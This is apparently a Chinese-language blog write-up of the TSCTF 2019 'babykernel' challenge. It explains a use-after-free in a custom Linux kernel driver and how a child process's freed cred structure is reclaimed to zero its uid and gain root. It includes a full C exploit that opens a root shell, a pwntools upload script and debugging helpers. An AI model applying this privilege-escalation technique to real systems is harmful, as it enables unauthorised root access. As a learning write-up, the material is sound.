TSCTF 2019 writeup -- babykernel

@t3ls  May 13, 2019

TSCTF 2019 writeup -- babykernel

借着p4nda到沙河的pwn讲座(PWN选手的自我修养,从0x400000到0xFFFFFFFF81000000)算是入门了一点linux kernel pwn,正好TSCTF又出了一道kernel pwn,所以就试着做(学)了一下我的第一道kernel pwn

准备工作

先看一下系统的启动脚本

#!/bin/sh
qemu-system-x86_64 \
    -nographic \
    -kernel bzImage \
    -append "rdinit=/linuxrc console=ttyS0 oops=panic panic=1" \
    -m 128M \
    -cpu qemu64,smap,smep \
    -initrd rootfs.img \
    #-gdb tcp::4869 -S \
    -smp cores=1,threads=1 2>/dev/null

磁盘的初始配置文件

mkdir -p /proc
mkdir -p /tmp
mkdir -p /sys
mkdir -p /mnt
/bin/mount -a
mkdir -p /dev/pts
mount -t devpts devpts /dev/pts
echo /sbin/mdev > /proc/sys/kernel/hotplug
mdev -s

insmod /poc/tshop.ko
sleep 1
chmod 666 /dev/tshop

echo 1 > /proc/sys/kernel/dmesg_restrict
echo 1 > /proc/sys/kernel/kptr_restrict

cd /tmp
setsid /bin/cttyhack setuidgid 1000 /bin/sh

poweroff -d 0 -f

可以看到开启了kptr_restrict,dmesg_restrict,smep,smap保护,磁盘启动的时候加载了一个叫tshop的驱动,漏洞应该就在这个驱动里面

漏洞原理

直接IDA打开驱动文件,驱动注册了三个函数ioctl, init, exit

1557751998655.png

init函数中创建了一个slab专用缓存zegeorjige

1557752154459.png

exit里面就是正常回收资源,这里就不说了,主要交互逻辑在ioctl中。

函数通过传进来的第二个参数作为控制参数,来实现alloc,free,内存填充等操作。第三个参数是用来控制bss上BUY_LIST列表的索引。

signed __int64 __fastcall tshop_ioctl(__int64 a1, unsigned int choice, unsigned int index)
{
  __int64 v3; // rbx
  _QWORD *v4; // rax
  char *v5; // rdi
  __int64 v6; // rax
  char v7; // si
  __int64 v8; // rdx
  const char *v9; // rdi
  _QWORD *v11; // rax
  _QWORD *ptr; // rax

  v3 = (signed int)index;
  if ( choice == 0x22B8 )
  {
    if ( index <= 0xFF && (ptr = (_QWORD *)BUY_LIST[index]) != 0LL )
    {
      v9 = "<1>[*] This Zege is yours!";
      *ptr = 0x123456789ABCDEF0LL;
    }
    else
    {
      v9 = "<1>[*] Zege would not like you!";
    }
    goto LABEL_16;
  }
  if ( choice > 0x22B8 )
  {
    if ( choice == 0x271A )
    {
      if ( index <= 0xFF )
      {
        v4 = (_QWORD *)kmem_cache_alloc(zegeorjige, 0xD0LL);
        BUY_LIST[v3] = (__int64)v4;
        *v4 = 0LL;
        v5 = zegeandjigedesc;
        *(_QWORD *)(BUY_LIST[v3] + 8) = 0LL;
        *(_QWORD *)(BUY_LIST[v3] + 0x10) = 0x40LL;
        *(_QWORD *)(BUY_LIST[v3] + 0x18) = 0x29AALL;
        v6 = 0LL;
        do
        {
          v7 = v5[v6];
          v8 = (signed int)v6++;
          *(_BYTE *)(BUY_LIST[v3] + v8 + 0x20) = v7;
        }
        while ( v6 != 0x21 );
        v9 = "<1>[*] Money fly\n";
        *(_BYTE *)(BUY_LIST[v3] + 0x41) = 0;
        goto LABEL_16;
      }
    }
    else
    {
      if ( choice != 0x2766 )
        return -1LL;
      if ( index <= 0xFF && BUY_LIST[index] )
      {
        kfree();
        v9 = "<1>[*] Say goodbye to flag\n";
        goto LABEL_16;
      }
    }
    v9 = "<1>[*] Zege and Jige would not like you!";
LABEL_16:
    printk(v9);

漏洞在释放堆块的逻辑里面,没有把指针置零,这样我们就能得到一个悬挂指针。

{
    if ( choice != 0x2766 )
        return -1LL;
    if ( index <= 0xFF && BUY_LIST[index] )
    {
        kfree();
        v9 = "<1>[*] Say goodbye to flag\n";
        goto LABEL_16;
    }
}

接下来我们可以通过在prepare_creds函数上下断点来得到cred结构体的大小来进行进一步的利用。

漏洞利用

调试的时候可以把保护都关掉,用root权限来调试

/tmp $ cat /proc/kallsyms | grep "prepare_cred"
ffffffff810565fb T prepare_creds
ffffffff8119673a T security_prepare_creds
[   26.814012] cat used greatest stack depth: 5624 bytes left

1557754003512.png

/tmp $ cat /proc/kallsyms | grep "ffffffff810d3251"
ffffffff810d3251 T kmem_cache_alloc
[   16.954066] cat used greatest stack depth: 5624 bytes left

可以看到prepare_cred函数实际调用了kmem_cache_alloc来申请cred的空间,大小通过$rsi传参,为0xd0。

惊奇的发现,居然和我们ioctl操作中kmem_cache_alloc申请的大小一致

1557754283553.png

而这个题并没有提供与用户进行数据交互的功能,只能在内存中填充指定的数据。因此我们可以考虑使用UAF使cred复用我们进程中的堆块。

        *(_QWORD *)(BUY_LIST[v3] + 8) = 0LL;
           *(_QWORD *)(BUY_LIST[v3] + 0x10) = 0x40LL;
        *(_QWORD *)(BUY_LIST[v3] + 0x18) = 0x29AALL;

从上面的伪代码中可以看到,如果我们可以再次申请到存储cred的堆块时,函数会自动初始化堆块的数据,正好这时前0x10字节为0,覆盖到了cred结构体中uidgid的部分。

这是cred结构体的定义(题目的环境是2.6.39.4版本的内核)

struct cred {
    atomic_t    usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
    atomic_t    subscribers;    /* number of processes subscribed */
    void        *put_addr;
    unsigned    magic;
#define CRED_MAGIC    0x43736564
#define CRED_MAGIC_DEAD    0x44656144
#endif
    uid_t        uid;        /* real UID of the task */
    gid_t        gid;        /* real GID of the task */
    uid_t        suid;        /* saved UID of the task */
    gid_t        sgid;        /* saved GID of the task */
    uid_t        euid;        /* effective UID of the task */
    gid_t        egid;        /* effective GID of the task */
    uid_t        fsuid;        /* UID for VFS ops */
    gid_t        fsgid;        /* GID for VFS ops */
    unsigned    securebits;    /* SUID-less security management */
    kernel_cap_t    cap_inheritable; /* caps our children can inherit */
    kernel_cap_t    cap_permitted;    /* caps we're permitted */
    kernel_cap_t    cap_effective;    /* caps we can actually use */
    kernel_cap_t    cap_bset;    /* capability bounding set */
#ifdef CONFIG_KEYS
    unsigned char    jit_keyring;    /* default keyring to attach requested
                     * keys to */
    struct key    *thread_keyring; /* keyring private to this thread */
    struct key    *request_key_auth; /* assumed request_key authority */
    struct thread_group_cred *tgcred; /* thread-group shared credentials */
#endif
#ifdef CONFIG_SECURITY
    void        *security;    /* subjective LSM security */
#endif
    struct user_struct *user;    /* real user ID subscription */
    struct user_namespace *user_ns; /* cached user->user_ns */
    struct group_info *group_info;    /* supplementary groups for euid/fsgid */
    struct rcu_head    rcu;        /* RCU deletion hook */
};

因此,目的已经很明显了,也不需要泄露地址,直接修改cred就能拿到root权限

我的exp:

#include <stdio.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

#define DEL         0x2766
#define SET_ZEGE     0x22B8  // 0x123456789ABCDEF0LL
#define ALLOC         0x271A
#define SET_JIGE     0x1A0A  // 0xFEDCBA987654321LL


int main() {
    int fd = open("/dev/tshop", 0);
    size_t heap_addr , kernel_addr,mod_addr;
    if (fd < 0) {
        printf("[-] bad open /dev/tshop\n");
        exit(-1);
    }

    ioctl(fd, ALLOC, 0);
    ioctl(fd, ALLOC, 1);
    ioctl(fd, DEL, 0);
    ioctl(fd, DEL, 1);
    int pid=fork();
    ioctl(fd, DEL, 1);
    ioctl(fd, ALLOC, 3);
    //getchar();
    //getchar();
    if (pid < 0) {
        puts("[-] fork error!");
        exit(0);
    } else if (pid == 0) {
        if (getuid() == 0) {
            puts("[+] root");
            system("cat /home/sunichi/flag");
            system("id");
            system("/bin/sh")
            exit(0);
        }
    } else {
        sleep(30);
        puts("[+] parent exit");
    }
}

//TSCTF{S0_4a5y_k4rNel_pWn_6ut_JiGe_AND_Zege_g1Ve_Y0u_fl4g}

具体思路:

  • alloc并free掉两块内存,使他们接入slab cache链表的尾部,这里暂且给它编号为chunk0chunk1
  • 由于采用FIFO算法,此时slab缓存的单向链表最尾端的chunk为chunk1,而且第一个8字节存储的是指向chunk0的指针,当ALLOC新cache时,将优先取出chunk1分配给进程。
  • fork一个子进程,这个子进程的cred结构体会复用此前我们free掉的内存块(chunk1

    • 堆块中的cred:

    ~8060JZ3ZFF7PT`6[}Q5T_D.png

  • 我们的目标是将cred的id位置零,首先就需要再次拿到cred所在堆块(chunk1
  • free并立即进行alloc操作,chunk1就会挂到cache链上后再次被申请回来。
  • 由于ALLOC操作伴随着所在堆块数据的初始化,于是我们不用再有多余的操作便能将cred结构体uid及gid位置零。此时子进程就已成功提权(root)

    • 提权后的子进程cred:

    1557932188204.png
    1557757186534.png

实际上这个题还可以使用double free的做法,只是相比之下double free需要在拿到cred堆块之后释放n个提前申请好的chunk以填充slab的链表,以防止执行系统调用时alloc到cred的chunk,这样就会造成alloc地址非法的panic(因为在进行system函数等系统调用过程时内核同样会ALLOC多个大小为0xd0的堆块,而cred前8字节不是有效地址),而且增加缓存数量只是一个不完美的解决办法,多次执行系统调用还是会panic。

后记

因为是第一次做kernel的题目,exp编译好之后也不知道怎么传到qemu的服务器上(也许只有我这么菜吧。。

最后在其它师傅写过的wp里面找到一个上传的脚本

#!/usr/bin/python
from pwn import *

HOST = "10.112.100.47"
PORT =  1717

USER = "pwn"
PW = "pwn"

def compile():
    log.info("Compile")
    os.system("musl-gcc -w -s -static -o3 tshop.c -o pwn")

def exec_cmd(cmd):
    r.sendline(cmd)
    r.recvuntil("$ ")

def upload():
    p = log.progress("Upload")

    with open("pwn", "rb") as f:
        data = f.read()

    encoded = base64.b64encode(data)
    
    r.recvuntil("$ ")
    
    for i in range(0, len(encoded), 300):
        p.status("%d / %d" % (i, len(encoded)))
        exec_cmd("echo \"%s\" >> benc" % (encoded[i:i+300]))
        
    exec_cmd("cat benc | base64 -d > bout")    
    exec_cmd("chmod +x bout")
    
    p.success()

def exploit(r):
    compile()
    upload()

    r.interactive()

    return

if __name__ == "__main__":
    if len(sys.argv) > 1:
        session = ssh(USER, HOST, PORT, PW)
        r = session.run("/bin/sh")
        exploit(r)
    else:
        r = process("./startvm.sh")
        print util.proc.pidof(r)
        pause()
        exploit(r)

作为一个刚入kernel坑的菜鸡,我把用到的其它脚本和命令放在下面,希望会对和我一样的人有所帮助吧

gdb调试

# kernel_gdb.sh
gdb \
    -ex "add-auto-load-safe-path $(pwd)" \
    -ex "file vmlinux" \
    -ex "set arch i386:x86-64:intel" \
    -ex "target remote localhost:4869" \
    -ex "continue" \
    -ex "disconnect" \
    -ex "set arch i386:x86-64" \
    -ex "target remote localhost:4869"

exp编译及磁盘文件打包

# fs.sh
musl-gcc -w -s -static -o3 tshop.c -o /home/pwn
find . | cpio -o --format=newc > ../rootfs.img

添加新评论